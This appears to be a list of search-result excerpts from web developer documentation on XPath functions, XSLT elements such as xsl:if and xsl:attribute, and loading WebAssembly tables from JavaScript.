unparsed-entity-url - XPath
if the argument is not a string, it is converted using the rules of the string() function.
Functions - XPath
for further information on using xpath/xslt functions, please see the for further reading page.
<xsl:attribute> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:attribute> element creates an attribute in the output document, using any values that can be accessed from the stylesheet.
<xsl:decimal-format> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:decimal-format> element defines the characters and symbols that are to be used in converting numbers into strings using theformat-number( ) function.
<xsl:if> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementif
syntax <xsl:if test=expression> template </xsl:if> required attributes test contains an xpath expression that can be evaluated (using the rules defined for boolean( ) if necessary) to a boolean value.
Basic Example - XSLT: Extensible Stylesheet Language Transformations
<b> <xsl:value-of select="@company" /> </b> </xsl:if> <br /> </xsl:template> <xsl:template match="myns:body"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> <xsl:template match="@*|node()"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> </xsl:stylesheet> the example loads using synchronous xmlhttprequest both the .xsl (xslstylesheet) and the .xml (xmldoc) files into memory.
Resources - XSLT: Extensible Stylesheet Language Transformations
resources using the mozilla javascript interface to xsl transformations mozilla.org's xslt project page, which includes a frequently encountered issues section.
Setting Parameters - XSLT: Extensible Stylesheet Language Transformations
setting parameters while running transformations using precoded .xsl and .xml files is quite useful, configuring the .xsl file from javascript may be even more useful.
Exported WebAssembly functions - WebAssembly
"anyfunc", initial: 2 }); webassembly.instantiatestreaming(fetch('table.wasm')) .then(obj => { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 othertable.set(0,tbl.get(0)); othertable.set(1,tbl.get(1)); console.log(othertable.get(0)()); console.log(othertable.get(1)()); }); here we create a table (othertable) from javascript using the webassembly.table constructor, then we load table.wasm into our page using the webassembly.instantiatestreaming() method.